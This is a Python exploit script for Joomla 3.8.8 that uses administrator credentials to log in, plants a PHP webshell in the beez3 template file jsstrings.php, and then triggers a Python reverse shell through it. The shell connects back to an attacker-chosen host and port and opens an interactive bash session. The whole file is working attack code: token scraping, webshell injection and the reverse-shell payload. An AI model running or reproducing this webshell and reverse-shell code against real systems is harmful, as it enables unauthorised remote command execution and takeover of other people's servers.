# -*- coding:utf-8 -*-

# Joomla! 3.8.8 - Template Webshell Generator + RCE
# CVE: -
# Exploit author: Cody Sixteen
# https://packetstormsecurity.com/files/142731/Joomla-3.x-Proof-Of-Concept-Shell-Upload.html
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import re
import requests
import sys
from pwn import *


def main():
    
    # args
    argparser = argparse.ArgumentParser(description='Joomla! 3.8.8 - Template Webshell Generator + RCE',
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")

    main_arg.add_argument('-h', '--help', help='Show this help menu',
                          action='store_true')

    main_arg.add_argument('--lhost', type=str, help='Local host to receive reverse shell',
                          required=True)

    main_arg.add_argument('--lport', type=str, help='Local port to receive reverse shell (default: 4444)',
                          default='4444')

    main_arg.add_argument('--rhost', type=str, help='Joomla! host to attack')

    main_arg.add_argument('--username', type=str, help='Joomla! administrator username',
                          required=True)

    main_arg.add_argument('--password', type=str, help='Joomla! administrator password',
                          required=True)

    main_arg.add_argument('--burpsuite', action='store_true', help='Enable burpsuite proxy')

    args = argparser.parse_args()

    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)

    # cons
    lhost = args.lhost
    lport = args.lport
    rhost = args.rhost
    username = args.username
    password = args.password
    burpsuite = args.burpsuite

    # proxies
    proxies = { "http": "127.0.0.1:8080" }

    # session
    s = requests.Session()


    def reverse_shell(l):
        print(" [*] Spawning the reverse shell...")
        l.sendline("uname -a && id")
        l.interactive()


    def grab_token(url, offset):

        print(" [*] Grabbing Joomla! token...")

        try:
            if burpsuite:
                r = s.get(url, proxies=proxies)
            else:
                r = s.get(url)

        except Exception as e:
            print(e)
            print(" [*] Failed to grab the Joomla! token due an error!")
            sys.exit(1)


        else:
            try:
                token = re.findall(r'\b[a-z0-9]{32}\b', r.text)[offset]
            except Exception as e:
                print(e)
                print(" [*] Failed to locate the Joomla! token :(")
                sys.exit(1)
            else:
                return token


    def login():

        params = {
            "username": username,
            "passwd": password,
            "option": "com_login",
            "task": "login",
            "return": "aW5kZXgucGhw",
            grab_token('http://{}/administrator/index.php'.format(rhost), 1): "1"
        }

        print(" [*] Logging into Joomla! administration panel...")

        try:
            if burpsuite:
                r = s.post('http://{}/administrator/index.php'.format(rhost),
                                                                  data=params,
                                                                  proxies=proxies)
            else:
                r = s.post('http://{}/administrator/index.php'.format(rhost),
                                                                  data=params)

        except Exception as e:
            print(e)
            print(" [*] Failed to login into Joomla! administation panel due an error.")
            sys.exit(1)

        else:
            if 'index.php?option=com_joomlaupdate' in r.text:
                print(" [*] Logged with success!")
                return True
            else:
               print(" [*] Failed to login, check your credentials.")


    def exploit():

        params = {
            "jform[source]": "<?php system($_GET[0]);",
            "task": "template.apply",
            grab_token('http://{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D'.format(rhost), -1): "1",
            "jform[extension_id]": "503",
            "jform[filename]": "/jsstrings.php"
        }

        print(" [*] Generating the PHP webshell using template module...")

        try:
            if burpsuite:
                r = s.post("http://{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA=".format(rhost),
                                                                                                           data=params, proxies=proxies)
            else:
                r = s.post("http://{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA=".format(rhost),
                                                                                                           data=params)

        except Exception as e:
            print(e)
            print(" [*] Failed to generate the webshell due an error.")
            sys.exit(1)

        else:
            print(" [*] Webshell uploaded with success, try: http://{}/templates/beez3/jsstrings.php?0=id".format(rhost))
            return True


    def trigger_exploit():
        py_payload = "python3 -c 'import socket,subprocess,os;"
        py_payload += "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
        py_payload += "s.connect((\"{}\",{}));".format(lhost, lport)
        py_payload += "os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"
        py_payload += "p=subprocess.call([\"/bin/bash\",\"-i\"]);'"

        print(" [*] Triggering the reverse shell through the PHP webshell... ")

        l = listen(lport)

        try:
            if burpsuite:
                s.get('http://{}/templates/beez3/jsstrings.php?0={}'.format(rhost, py_payload), proxies=proxies, timeout=5)
            else:
                s.get('http://{}/templates/beez3/jsstrings.php?0={}'.format(rhost, py_payload), timeout=5)

        except:
           reverse_shell(l)


    # main
    print(" [>] Joomla! 3.8.8 - Template Webshell Generator + RCE")
    print(" [*] Python script exploit author: nullarmor")

    if login():
       if exploit():
           trigger_exploit()
           

if __name__ == "__main__":
    main()
